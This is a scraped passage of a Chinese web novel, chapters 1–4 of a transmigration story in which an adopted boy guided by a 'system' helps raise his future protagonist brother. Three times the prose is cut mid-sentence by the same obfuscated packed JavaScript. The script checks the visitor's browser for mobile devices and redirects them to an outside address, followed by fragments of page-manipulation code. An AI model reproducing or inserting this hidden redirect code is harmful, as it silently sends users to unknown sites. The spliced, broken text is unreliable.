《竹马剧本总能打出恋爱线[快穿]》 1. 兄控(一) 四月正是回暖的时候,窗户微开着,时不时还能听见风掠过树梢的声音。 席见微再一次睁开眼睛,首先看见的是手里拿着的小兔子玩偶,其次便是自己那双明显很小的手。 他掀开被子坐起来,四处张望了一圈,发现自己正身处一个暖黄色调的房间里面。 角落处还堆着许多玩具,一看就知道家庭环境不错。 默不作声地将手上的玩偶工整放在枕头边后,席见微从床上跳下来,来到了一旁的落地镜面前。 镜子里,他见到了自己如今的模样。 一个看起来不过三四岁的小孩眨了眨眼睛,露出的皮肤很白,眼睫细密,看起来安静又秀气。 和原本世界的他五官很相似,甚至可以说是缩小版。 还在观察的时候,一道无机质的电音突然在他的脑海里响起。 【小世界载入中...】 【绑定宿主:席见微】 片刻后,话音消失不见,另一道更为活泼清亮的声音重新开口 【宿主你好,欢迎来到第一个小世界,竹马系统092竭诚为你服务!】 席见微是在一个小时前见到这个自称为092的系统的。 当时的他还身处于系统所创建的虚拟世界里。 虚拟世界的天空是一种被设定好的纯粹蓝色,抬头看过去模糊又失真,像是一副老旧的像素画。 而在那上面还投影着一段画面。 那是席见微自己,失去意识后的身体紧紧闭着眼,脸色苍白地躺在治疗舱内,生命垂危。 至于他究竟是因为什么躺在治疗舱里,席见微却不记得了。他被拉进这个虚拟空间之后,系统便帮他封存了一些记忆。 092说,只要他愿意去到各个世界替代那些跑路的炮灰,好好扮演故事背景板的竹马角色,提升主角爽度,就能给他一次复生的机会。 于是席见微便来到了这个陌生的世界。 092看见席见微现在对着镜子观察的模样,解释道:【宿主你现在的身体数据,是我根据你现实世界的样子生成的。】 闻言,席见微特别认真地轻声说了一句:“谢谢你。” 虽然说是任务,但相似的样貌总归是要看着安心一点。 092开心地哼唧了一声,然后又道:【我先把世界线给宿主你传过去。】 【为了避免记忆冲突造成伤害,在任务开始前系统便已将宿主原先的记忆封存,如感恍惚头晕,是记忆传输的正常现象哦~】 虽然系统这么提醒了一嘴,但世界线传输过来的时候,席见微却并没有感到任何不适。 这是一个现代豪门世界,席见微要扮演的角色和他姓名相同,是一个被豪门收养的孩子。 原主的父母是一对不负责任的夫妻,原主才刚出生没多久,便狠心将他丢弃在了路边上。 还好被过路的席夫人一时心软抱了回去,这才捡回一条命。 而这个世界的主角,名叫席亦,是席家夫妇的亲生子,原主名义上的弟弟。 席亦的人生堪称一本现代都市爽文,从小便智商超群,多次跳级,不过十六便已保送国内最好的大学。 大学期间他与朋友成立了自己的工作室,短短四年便已崭露头角。毕业后果断地接了席父的班,将自己的工作室并入席氏,成为了一代商业巨鳄。 而席见微,只需要扮演在这个爽文剧本里,背景板的一个“哥哥”形象,要做的事包括且不限于—— 在幼时,带着主角在大院里“碰瓷”,结识各类未来商业人才。 在学生时期,展现出自己毫无学习天赋的一面,让席父能顺理成章的把继承权交给主角。 在工作后,时不时向创业的主角打电话,并说出那句经典的。 “今年过年打算回家吗?爸妈和我都很想你。” 092悄悄给自己撒了个花:【宿主你的任务就是陪伴主角到接管公司的剧情点,并在这个过程中尽量帮助目标人物,提升主角的爽度。】 “...好的。”席见微终于从那一大堆的“世界线”里回过神来,眨眼不确定地说:“好像还挺简单的?” 在虚拟空间听092说人跑路了时,席见微其实都做好了角色会很惨,或者是非常道德败坏的准备。 却没想到仅仅只是陪人长大而已。 不知道想起了什么,系统长叹一口气:【是很简单,但是之前的几任宿主在得知了世界线后,都不愿意只当一个背景板炮灰,试图改变剧情替代主角无果后,就跑路了。】 092:【最后让我被主系统骂了好几天,还说要把我的数据海变成黄的TT】 好惨... 席见微虽然不懂092口中的数据海是什么,但并不影响他同情,斟酌了会儿说道:“我不会跑掉的。” 又安慰了两句,092便跑去处理其他事情了,临走前还叮嘱席见微有事的话,直接在脑海里喊它就好。 席见微把那些剧情又在脑海里过了一遍,最后决定还是先去看看他的那位“弟弟”。 这么想着,便垫脚打开了房间的门。 房间在二楼,走廊上一个人都没有,静悄悄的。他往栏杆边上走了两步,往下看,却也没看见人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393074|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影。 “...小微?”一道轻柔的女声从身后传来,席见微回头一看,发现是一个穿着米色睡裙的女人。 在原主的记忆里,席见微见过她,这是席夫人。 席母也很惊奇,这个时间点席见微一般都在睡午觉,今天怎么突然跑出来了。 她抬手,想要摸摸席见微的头,被对方躲开了也没太在意:“怎么不睡觉呀?” 席见微觉得失去记忆前的自己应该是很少被人摸头,所以才会下意识闪躲。 但这样似乎不太好。 他开始反思。 于是过了两秒,席母的袖子被轻轻拽了一下,面前才到她腿那么高的小孩仰起头,眼睛圆乎乎的,小声地说了一句。 “再摸摸我。” 虽然没有搞懂是什么情况,但席母还是又摸了一下。 这次席见微很乖巧,没有躲闪,摸完之后甚至还弯着眼睛笑了一下。 在将功补过之后,他才回答了席母刚刚那个问题:“突然醒了,睡不着。” 说完,记起自己最初跑出来的目的,又细声细气地对席母说:“弟弟在睡觉吗?我可以去和弟弟一起玩么?” 席母疑惑了:“弟弟?宝贝你是说昨天院子里面和你玩的小朋友吗?” 席见微也很疑惑,歪着头整理了一下措辞:“不是朋友,就是弟弟。” 他们在这一言一语的时候,楼下的阿姨也上了二楼。她本来是到点来叫席见微起床的,却不料人已经醒了。 阿姨乐呵呵地说了句:“小微今天怎么醒的这么早啊?这是在聊什么呢?” 席母打了个哈欠,也笑着回:“突然醒了在走廊晃悠被我逮个正着,刚刚还在问我弟弟在哪?我是什么时候又生了个孩子吗?” 在两个大人调侃中,席见微终于意识到席母并不是没理解他的话,也不是故意在逗他玩。 他突然觉得自己有点晕,可能是因为世界观在重组。 后面是怎么回到房间的,席见微都有点不记得了,他坐在床上,轻轻喊了一句:“092?” 092从意识里冒出头:【怎么了宿主!】 席见微有点迷茫地问:“我弟弟呢?” 沉默。 长久的沉默。 许久,092终于说话了:【宿主,我刚刚去检测了一下世界线,发现我们现在在的时间点出了一点...小小的问题。】 席见微突然有种不好的预感,抱着腿把脸埋进去,却还是颇为坚强地开口问:【什么问题?】 092心一横眼一闭:【任务对象他...还没出生。】 2. 兄控(二) 虽然席见微已经隐隐有了猜测,但听见这个回答时,还是想要叹一口气。 他又埋着脸缓了一会,好半天才抬起头。 “那主角要什么时候才会出现?”他问。 092:【剧情线里面没有说过啊...TT】 席见微:“?” 【剧情线是以主角的视角展开的。宿主你的角色只是一个背景板,在剧情线里的描述只有一句“年长些的兄长”,差了多少岁,剧情里并没有具体描述。】 年长些... 姑且就算年龄差不超过十岁吧。 席见微算了下,他现在的身体是三岁多一点。 也就是说可能还要等七年。 “好久。”算明白的席见微小声感叹道。 092看见他这副沮丧的样子,在虚拟空间哗啦啦地开始翻剧情线,一番努力终于翻到了一处有用的消息。 【宿主,剧情线里面有一段是任务目标和席母的聊天。】 【其中写到,席母其实一直还想要一个孩子。但考虑到原主的心情,还是等到了原主长大了一点才提这件事,并征求了原主的同意。】 最后,092总结道:【等到母亲主动来找宿主你的时候,任务对象就快要出现啦!】 席见微闻言,思考了下:“那我现在可以提前去找她,说我愿意要一个弟弟么?” 他还挺想知道那个故事里智商超群的任务对象,到底会是一个什么样的人。 092沉默,092思考。 它翻了一下剧情,确实没说过两人具体差多少岁,那就算提前了应该也不算破坏剧情吧? 于是092大手一挥:【可以的宿主!】 ...... 这个想法本来就是席见微提出来的,再加上092这个帮腔的,一人一统一拍即合,打算说干就干。 但心里想的是一回事,付诸行动的时候还是有点难度的。 这点难度主要体现在席见微的脸皮薄上。 吃晚饭的时候一家人坐在一起,席见微吃着自己碗里的东西,每嚼一口都得看对面的父母好多眼。 他以为自己很隐晦,但那点不自然就差写在脸上了。 一顿饭还没有结束,席母就没忍住趁着阿姨去盛汤的间隙,轻声问他:“脑袋里在想什么呢?和妈妈说说?” 席见微把手上的筷子放下来,在系统的鼓励声中有点不自在的用手抓了一下衣服下摆,这才仰起脸说道:“妈妈,我想要个弟弟。” 听后,席母瞬间坐直了。 席父也没再动筷:“怎么突然这么想,是有人和你说了什么吗?” 他们收养了一个孩子的事情并没有刻意去隐瞒。 去年两人带着尚且年幼的席见微,回老宅子过年的时候,还因此和人生了点枝节。 有些多管闲事的亲戚凑上来,建议他们趁早还是要一个自己的孩子。 最后夫妻俩把人打发走了。 他们虽然是还想要一个孩子,但这事毕竟随缘。 再加上席见微现在年纪还小,所以都打算等孩子大一点,再问愿不愿意多接受一个亲人。 可能正是因为这件事,乍然听起席见微提起这个话题,他们的第一反应居然都是:是不是有人对孩子说了些什么。 但再一想,又觉得没可能。毕竟小孩出门的时候也是有人看着的。 也许就是突发奇想? 席见微对此一无所知,茫然地摇了摇头:“没有人说,是我想要一个弟弟。” 阿姨这时终于端着汤回来了,席母又柔声哄了席见微两句,这个话题便这样被岔开没再继续。 第二天。 夫妻两有事外出,席见微自己坐在客厅的地毯上。左右两边还排排坐着好几个玩偶,乍一眼看过去居然分不清人在哪。 席家夫妇的态度,092看的倒是很明白,它在脑海里开口:【宿主,他们好像没有相信你的话。】 这也正常,毕竟前天原主还和小伙伴在院子里面玩的不亦乐乎。昨天就突兀地开口说自己想要一个弟弟,实在是太过反常。 席见微自己也意识到了这一点,但想不到怎么解决。 客厅不远处的电视还在播放,音乐轻而舒缓,是一些适合幼儿的启蒙动画。 席见微坐的有点久了,侧身想要把最近处的玩偶抱进怀里,却不小心按到了边上的什么东西。 等他低头看清那个遥控器时,电视机早已换了个频道。 原本舒缓的音乐突然变为了带有紧张感的弦乐,伴着一道清脆的耳光声和尖细的台词,惊得席见微下意识抬头。 他就这么盯着电视里的人,看了几分钟,最后发现除了字,一点都看不懂。 席见微将其归结于没有记忆的原因。 【092,这讲的是什么?】他默默在心里询问了下系统。 092只是稍微一扫描,就从这个世界的数据海里面找到了信息,打包给了席见微。 这是一部近期热播的伦理狗血剧,剧情跌宕起伏,替身复仇打脸一应俱全,感情线更是乱到席见微理不清。 而现在电视里的情节便是反派被强势归来的主角报复,无奈之下只得和家里人求助,最后拖得全家一起下水的经典场面。 电视里,反派被一巴掌打坐在地上。抓着母亲的裤脚撒泼打滚,哭的声嘶力竭,直到对面同意才收敛。 092还记得席见微现在脑子里,只有一些最基本的常识记忆:【宿主你不要被影响了,我们这个小世界还是很遵纪守法的!】 可这一次,那头却没了动静。 坐着的小孩盯着电视机,歪头好像在思考什么。 客厅这边的不寻常的电视声音,终于是把在厨房准备午饭的阿姨给引来了。她确认了下状况,又把频道调回去才离开。 092还在坚持等席见微理它。 半晌,席见微终于开口:【原来还能这样。】 092茫然:【...什么??】 等到席家父母回来,还在状况外一脸懵逼的系统,就看见席见微跑过去抱住了席母的腿。 席见微低着头,在除了092之外没人能看见的阴影里偷偷深吸了一口气。 再抬起头的时候,眼泪安静地流。 小孩脸就长得乖乖巧巧的,所以就连哭起来都显得柔软澄澈,泪水把眼睛浸得微亮。 他磕绊着把昨天的话又说了一遍,最后细声细气地说:“求求啦...” 092:【......】 席见微用自己的眼泪,终于让席母两人相信了他是真的想要一个弟弟。 毕竟他可不是什么爱闹腾的性子,比起其他家的小朋友,甚至可以称得上过分安静听话了。 这样的孩子哭起来的杀伤力简直太大了,而且真情实感得让人很难不相信。 092现在已经后知后觉的意识到席见微实在学刚刚电视里的那一套了,它只是好奇:【你在现实世界难道是一个演员吗?】 不然这是怎么做到的一秒落泪? 席见微闻言悄悄摇了摇头。 他柔声老实回答:【因为我今天到点没睡午觉,真的很困。】 * 但说到底,席见微做的这一切也只是提前向席家父母表明了自己的态度。 至于主角到底什么时候才会出现,还得看天意。 这种事情强求不得,只能等待。 他只期盼这个过程会快一点。 或许是那些期盼真的起了作用,几个月后,系统就带来了消息。 当时的席见微正被阿姨领着,一脸正经的站在院子的一颗大树下画身高线。 他心虚地垂着眼,悄悄地垫起了一点脚。 阿姨没有发现,俯身正准备在他的发顶上画上一条线。 092就是这个时候在脑海里开口的。 得知消息的那一刻太过惊喜,以至于席见微忘记了自己的小动作。脚瞬间落回实地,身高打回原形。 阿姨看着他突然矮了一截的个头,愣了下很快反应过来,没忍住盯着小孩柔软的发顶打趣:“我们小微怎么突然缩水了啊?” 席见微没说话,只是耳朵突然红了,抬起双手挡住了自己的脸。 当天夜里,席母就在念完最后一个睡前故事后,告诉了他这件事。 席见微闭眼躺在床上,虽然已经提前知道了,但听完还是睁开眼睛装作惊讶了一下, 092这次真的相信席见微不是演员了,因为这个瞪眼震惊演技实在是有点浮夸。 所幸当时房间只剩下一个小灯,昏暗的光线下,席母并没有发现不对劲。 席母在席见微的额头摸了摸,帮他掖好被子。 就在她要起身离开时,床上的小孩突然小声地问:“妈妈,你们想好弟弟的名字了么?” 席母顿了下,没回答这个问题,反倒是笑着问:“你怎么知道是弟弟,万一是妹妹呢?” 仔细一想,从一开始席见微就是用弟弟这个词来代称的。而且语气也很自然,就好像理所应当一般。 “我就是知道啊。”席见微把下半张脸往被子里面缩了一点,只露出一双圆乎的眼睛,声音闷闷的。 席见微在心里说。 不仅如此。 我还知道他未来的名字,经历,比这世上的任何人都要先知道。 ...... 时间一晃就过去。 席见微向系统求教了一番后,每天一早就对着日历算出生的日子。 当然,在这个家里,挂心的不止他一个。 席见微在客厅里写他的幼儿园作业时,发现席父也难得和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393075|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他坐在一起写什么。 可能是受这个年纪的影响,写完之后席见微实在好奇,没忍住凑过去看了一眼。 辨认了一番,发现那是一个类似于贺卡的东西。 席父用钢笔帽点了一下他的鼻子:“看这么认真?” 席见微点了点头,眼睛还没从那上面移开:“这是写给弟弟的吗?” 席父没有纠正席见微的用词,往后倾了下身子,让小孩能看得更清楚:“嗯,等出生之后放到枕头下面的。” “你刚到家的时候,我和妈妈也悄悄在你枕头下面放了。” 听后,席见微说:“...可以给我一张么?” 席父没多问,二话没说抽出一张过去,等小孩接过才道:“不过你现在还没学几个字。倒是可以试着画点东西上去。” 席见微接过之后就没吭声,顺手抓着笔,就噔噔噔地跑到了楼上,像是怕人看见他写了什么一样。 3岁的原主或许不会,但只是失去记忆的席见微会。 过了快要十分钟,席父才终于见到席见微下来,那时,对方手中的贺卡已经被叠好了。 可能是为了隐私起见,边缘甚至还贴了几个卡通小熊贴纸封住。 递过来的时候,年幼的孩子还很认真地说:“我已经写好了,不要打开。” 于是席父就真的接过把它放在了自己的那一张边上,没有打开的意思:“这是你和他的秘密吗?” “应该不是。”席见微想了想,小声说。 【当然不是!】092发出抗议。 有第三个统知道的事情怎么能够叫做秘密呢? 092作为旁观者得知了所有。 它看着席见微上楼跑回自己的房间,坐在桌子上,纠结了半天。 也看着他捏着笔,用幼小的手,最后字迹歪歪扭扭地写下一句。 ——好好长大。 ...... 即便安排的再周全,临到头时却还是出了点意外,孩子比预期的要早那么一个月。 其他方面倒是没问题,只是刚出生时不足重,在保育箱里面呆了段时间才接回家来。 在这途中,这位家庭新成员的名字便已经确定好了。和系统给的剧情中一样,单字一个亦。 席亦。 今天,席见微才见到人。 他之前在夜里听着092的描述,很多次的想象过对方会是什么样子。 可等他真的轻手轻脚地走到门口,踮脚抓住门把手的时候,反而有点慌乱。 那么的没来由。 门推开地很慢,几乎没有发出什么声音。里面的地上也铺着地毯,走过去时悄无声息。 席见微的身高不算太高,此刻只能扒拉在婴儿床的围栏边上,探头去看。 他知道那些新生儿刚出生的时候都不大好看,所以做足了准备。 可映入眼帘的,却和他预料的不太一样。 对方躺在最中间,那么年幼却已经能够看得出未来的好样貌,脸上细小的绒毛都清晰可见。 纯白的,脆弱的,闭着眼睛的。 他会在这个世界陪伴一生的。 或许是看了太久,床上的婴儿似有所感的睁开眼睛。 他看见席见微居然没有怕生,而是反常地伸出手,想要去够点什么。 席见微一愣。 这是...想要抱什么东西吗? 没得到回应的婴儿眨了下眼,一下子眼珠子就水光粼粼的,看起来下一秒就要哭了。 一秒就把自己摆正到了“哥哥”位置上的席见微慌了。 片刻,他终于想到了自己房间里面的那一堆玩偶。 他转身就跑到了自己的房间,却在一堆玩偶里挑花了眼,只得拜托系统检测了那些玩偶的材质,并在其中选了一个最干净最柔软的。 系统的专业性自不必多说,可即便已经检测过了,在最后要递过去的时候,席见微还是不放心。 都说人脸上的皮肤是最脆弱敏感的地方。他低头,用脸在玩偶上面轻蹭了一下。 这次是真的确认,很软。 做完这个动作,席见微才拿着玩偶,伸直手递过去给对方看。 婴儿瞧见了,一下便安分多了,那点眼泪霎时消失的无影无踪,高高抬手来抓。 席见微小小松了口气。 可那肉乎的手,并没有如他意料中的去抓手上那个兔子玩偶,反而是几次抓握,够住了席见微捏着玩偶的食指。 一瞬间,温度链接传递过来,席见微的手抖了一下。低头时,在对方的瞳孔里,清晰的看见了自己如今的模样。 他一只手还撑在床边,看着自己那根被握住的手指,忽然抿唇开心地笑了一下。 【092。】 【嗯?】 【他比玩偶还要软。】 3. 兄控(三) 原本,席见微的生活是很简单的。 上学,睡觉,吃饭,闲着没事时还可以和系统聊聊天,去院子里荡秋千。 这种平静的生活到现在依旧在进行,只是好像又改变了那么一点。 席见微在幼儿园上美术课画东西的时候,开始不自觉地想着多画一份。 和家里人一起逛商场,也会在买东西的时候挑两份。一份在他那里,而另一个则摆在席亦的房间。 长久下来,若不是两个房间的色调不一样,简直难以分辨。 不仅如此,席见微还自费花压岁钱买了一本故事书。每天夜里便搬着个小板凳,坐在席亦的床边给他念故事。 席母一开始撞见时,还以为是席见微误会了什么。便很认真的给他解释了,她也一视同仁的给席亦念过睡前故事。 所以他不用这样跑过来。 可席见微觉得这两者之间并不一样。 因为爱是不能合在一起给的。 父母给的爱是属于他们的,而他给的,是只属于他自己的。 所以每天晚上,他还是搬着板凳跑过去。 小孩子说话的声音本应该是清清亮亮的。但因为席见微把声音放的很小,再加上讲故事的语速慢吞吞的,乍一听,居然显得有点温柔。 席亦也不知道听不听的懂,但却很安静的坐在床上。明明年纪还那么小,但睫毛却很长,脸还圆乎乎的。 他的手上还抱着第一次见面时,席见微给的玩偶,就保持这样的动作,目不转睛的盯着哥哥看。 等到一个短暂的故事结束,看见席见微合上书走过来时,便无意识对着他弯眼睛笑起来。 或许开心这种东西是真的会传染。 所以那一刻席见微也跟着笑了一下。他把书抱在怀里,靠过去亲了一下对方的脸颊。 这个动作很轻,甚至只能说的上贴了下,然后小声说:“晚安。” — 小孩子长的总是很快的。 就像席见微之前为了达到某个身高,还需要心虚地踮起脚尖。而现在,他大大方方的站在那里,也到了那条身高线。 再比如原本那个坐在床上安安静静听故事的席亦。现在也能够在席见微给他一个脸颊吻后,偏头也在席见微的脸上回晚安吻。 只是这个数量是不是不太对? 席见微在被亲了好几下之后,抬手揉了下脸,想。 在关门离开后,他又回到了自己的房间,悄咪咪点亮了台灯,从抽屉的最底下翻出了那本看起来毫无特点的笔记本,打开。 一晃而过的第一页上端正的写着几个字:陪伴指南。 这前面写了快有十来页,席见微直接翻到了最新的一页,握着笔,思考两秒才开始慢慢地写。 【3月20日[太阳] 弟弟是一种很黏人的生物,要小心被亲好多口。】 他花了几秒检查错字,在要收回去的时候 又没忍住悄悄在边上补了一排字,又细又小。 【但是他开心就好。】 ...... 相比于这边兄弟俩从一而终的和谐共处,席母他们一开始就有点担忧了。 按理来说,席亦这个年纪的孩子应该是很黏家长的。 但事实是,不管是睡觉还是吃饭。对方好像都没有那种非要拉着父母不可的感觉。 让人很轻松的同时,又有一点小心慌。 偶尔再刷到几个生活号发的“”孩子自闭症的十种”表现,更是越看越心惊。 直到有一天,两个小孩一起坐在沙发上看动画时,席见微不知道看到了什么,往席亦的方向歪了下头。一下离得好近。 席亦的注意力立马转移,看着席见微的脸颊盯了两秒,突然凑上去吧唧亲了一口。还怪响亮的。 被偷袭了的席见微这下电视也不看了,一边准备还回去,眼睛却又忍不住弯。 这下大人们终于理解了,原来席亦不是不黏人,他只是黏的很有选择性。 简称,只黏他哥。 可能也是因为意识到了这点,以至于席亦到了该开口说话的年纪,第一个蹦出来的词是“哥哥”的时候,他们居然没多震惊。 反倒是席见微看起来意外和高兴。在记忆的指引下,终于从房间里翻出来可以录音的玩具。 他把东西放在席亦怀里,又哄着席亦连着喊了好几句哥哥。把这一切全部都录了下来。 但这开心没过两个月,席见微就有点发愁了。 因为席亦走路走的实在堪忧。 一开始一家子还怀疑是不是因为早产的原因,才导致席亦走路走的不太好,结果去医院检查完发现并没有什么问题。 就是懒。 不想走路,也不想练习。 夸张到即便是他哥哄着,也只是勉强走两步。 这个两步就真的只是两步,到了第三步就得开始摇摇晃晃。 也不知道到底是真是假,但在一边看着的席见微倒是紧张极了,忍不住上去接住。 于是席亦便顺势抱住他,名正言顺地摊在他腿上,仰头弱弱哼唧了两声“哥哥”,就不动弹了。 那副样子,很难让人不怀疑他就是想一直挂在席见微身上。 溺爱可耻。 席见微深以为然,并告诫自己这事有一有二不能有三。 然后下一次还是忍不住去接。 没有办法,实在看不下去的席母终于祭出了杀招。 基于席亦可能比较聪明的基础上,她试图和小孩进行一些“交易”。 在征求了席见微的同意后,开始面不改色的忽悠。 什么只要你好好学走路,等你再大一点,妈妈让你和哥哥在一起睡一个房间什么的。 席亦眨巴了很久眼睛,然后点了下头。 就算他答应了吧,席母破罐子破摔的想。 但她其实怀疑席亦只听懂了“哥哥”和“在一起”。 不知道是不是心理作用,席亦后面的走路态度好像是要端正了那么“一点点”。 总之,几个月后,他终于不再需要人看着扶着,自己在屋子里走来走去。 席见微失去了一个“小挂件”,但却得到了一个小尾巴。 厨房,房间,客厅,不论席见微去到哪里,尾巴就跟到哪里。 有一次甚至差点跟着席见微去学校。 席家夫妇一看席亦那么“好学”,在不到三岁的时候,便顺手把他打包送去了席见微在的那个幼儿园。 结果上学第一天,席亦就跟着席见微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393076|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻愣愣的跑错了班级,还害得老师一通好找。 当然,读书也是有好处的。 其中之一就是,席见微可以不再单方面的给席亦讲故事了。 在一起牵手放学回到家之后,两个孩子就会跪坐在地毯上,凑一起嘀嘀咕咕。 席亦举着他那本简单的画册,向哥哥展示成果。 每翻一页就字正腔圆的给席见微讲解画的是什么。 花,树叶,小鸟。 爸爸妈妈阿姨,还有哥哥。 席见微凭借不同的头发长度,在抽象的火柴人,居然一眼认出来自己在哪里。 原主不喜欢太短的头发,所以之前每一次被带去理发,都不愿意剪的太短。 席见微也很好的保留了这一点,这几年头发的长度都留在下巴处,是一个很标准的妹妹头。 他这副样貌本来五官就漂亮秀气,再配上那个乖巧的发型,一眼看过去更是澄净干净。 席亦还在一个字一个字往外蹦,有时念的还会出错。席见微在慢慢开口纠正的时候,没忍住去戳了下他的脸。 对方不恼,反倒是又把脸抵过来,又认真复述刚刚的字。 结果又念错。 【主角爽度+18】 就在席见微再次准备开口的时候,休眠许久的系统突然在脑海里响起声音。 席见微一下愣住了。 从他还没来到这个世界时,092就在虚拟空间里,和他说过要提升主角爽度这件事。 可到了这个世界这么久,这项提示却一直没有触发过。 席见微便以为或许是时间还没到,所以剧情还没能开始进行。久而久之,差点自己都忘记。 却不曾想在一个平平无奇的日子,提示音莫名其妙的响了。 而且还有零有整的。 但他刚刚好像也没做什么特别的事情? 席见微回想了下刚刚的动作,一顿排除,又试探性的伸手轻轻戳了一下席亦的脸。 果不其然,这次弟弟没响。 尝试失败的席见微,在心里虚心请教092:【爽度是什么意思?这18点爽度又是怎么来的?】 但回答的却不是092,而是一个更冰冷机械的声音,就像席见微第一次来到这个世界的绑定音。 【爽度是一个比较抽象的概念,主角自身所产生的好的、积极的情绪都会归类于爽度里面。具体分值的计算过程比较复杂,不便公开。】 【至于这18点爽度...】那位系统说到这里,卡了一下壳:【准确来说,这些爽度是之前积攒下来的 。】 而就在一人一统在心里对话,席见微垂着眼睛细消化的时候。 席亦悄悄靠了过来 他看着突然没了反应的哥哥,不安分的把脸贴到了对方肩膀上,就着这个动作,盯着席见微耳朵看。 讲解中的主系统把一切轻易收进眼底,一瞬间,觉得有点神奇。 人的情绪本是一种很主观的东西,所以系统的判定和运转,也是基于席亦本人。 当他自己意识到的时候,小世界的计算结果才会播报。 所以那18点爽度其实一直都存在于那里。 只是从此刻起,席亦逐渐开始明白这一切叫做幸福。 4. 兄控(四) 暑假已经过了大半,那股子燥热感已经去了大半,温度正逐渐回到一个合适的温度。 窗外天色正好,席见微起了个大早。 准确来说,是被迫起了个大早。 他在睡梦里迷迷糊糊的,突然梦到自己被一颗芝麻汤圆袭击。 在被各种按在地上贴贴了一百零八种姿势之后,终于是不负众望地醒了。 不是上学的日子,席见微赖床赖得心安理得。醒来之后仅仅只花了两秒种,便决定翻个身继续睡回笼觉。 可等他真的换了个姿势后,手却在边上摸到了什么软乎乎的一团。 还是拱起来的。 这一下把他的睡意直接惊醒了,睁开眼还没来得及确认是什么情况,就直接对上被子里的另一双眼睛。 “早上好。” 席见微还有点懵,意识处在状况外,几秒后不确定地轻飘飘回了一句:“...早上好?” 被子被对方掀开一个空缺,席见微偏了下视线,看见里面还塞着个东西,隔在他们之间。 看清的那刻,席见微终于知道自己为什么会在梦里被汤圆咬了。 席亦悄咪咪跑过来钻被子,自己来就算了,居然买一送一自带一个枕头一起塞里面。简直是想不醒都难。 席见微坐起身,抬手虚放在那颗黑乎乎的脑袋上。 他本想要在对方头顶拍一下,可要下手的时候却又想起来,这样好像会让小孩长不高。 于是动作停了下来,席见微只是单手轻轻掐起他的两边脸颊,小声打了个哈欠问:“怎么了吗?” 席亦被捏一把眼都不带眨。 除了需要动的项目,他其他都学的很快。现在已经能够说点简单的小短句了。但不知道为什么,席亦总热衷于两个两个蹦字。 “一起,哥哥。” 席见微听的一头雾水,直到看见房间边上挂历上,才发现这是前不久商量好,决定让席亦搬过来的日子。 他最后和被窝温存了两分钟,这才起床去外面洗漱。 收拾好了后,席见微便打算和席亦两个人先去隔壁房间把东西拿过来。 那边房间零零碎碎堆着的东西,和自己房间里的难分伯仲。要想全部搬过来自然是不可能的。 席见微蹲下来,询问道:“有要带的什么东西吗?” “带好了。”席亦反应两秒意思,给出了一个意料之外的答案。 难道他睡的太死,父母已经帮席亦把东西搬过来了? 席见微闻言开始扫视周围,却还是没有发现:“带了什么东西?” 席亦不言语。 他草率地指指扔床上的枕头,又认真地指指自己。 席见微:“?” ...... 席亦搬完房间和哥哥睡在一张床上,心情大佳,之后的几天颇有种大赦天下的感觉。 就连路上看到的死掉的毛毛虫,都能堆个坟再走。 但这份快乐还没能持续几天,就开学了。 开学倒不是什么要紧事,最重要的是今年,席见微就会成为一名光荣的小学生,不再和席亦一个学校。 那天早上,等吃完早饭走出门,席见微都没见到席亦人。最后只得一步三回头地坐到了车上。 席父今天会一起送他去学校,可不知为何,过了十来分钟才上了车。 车被一脚油门启动,速度不算快,平稳地开在路上。 席见微不自在地盯着自己的脚尖,几分钟后还是忍不住开口问:“弟弟他...怎么了?” “在哭。”简洁地回答完,席父诡异地停顿了一下,又补了一句:“哭的还挺吓人。” 席父在商界里是出了名的雷厉风行、说一不二,见识和阅历都是一等一。能把他吓得说出这样的话... 这得是哭的有多猛。 席见微其实有点想象不到他弟哭会是什么样子。 在他印象里虽然对方黏人了点,但性子并不闹腾,和自己一样也怪安静的。 一路上,席见微双手撑着脸,不知道在想什么。 席父他们选的学校离家里并不远,而且是一个小学初中连读的学校。开学第一天,门口的人很多。 从人影的缝隙里,还隐约能看见两边开着的桂花树。 席父先带着席见微去报了个名。等把他送到了对应的教室门口,他蹲下来,摸了摸小孩的头。 “放学的时候不要乱跑,司机叔叔会来接你回家的。” 席见微看着席父这一身正装,估摸着对方今天又得开好几场会。 他很听话地点了下头,挥手道别后,便进了班级。 只是未曾想,他们出门都这么耽误了一趟了,等到了教室,里面居然还是没几个人。 还是来的太早了,席见微想。 教室里大片空位随便挑,席见微站在门口,心里点兵点将半天,找了一个不前不后的靠墙位置坐下。 小学上学的时间比幼儿园早点,一个假期过去席见微还没能调整过来,坐下之后,生物钟就开始和理智打架。 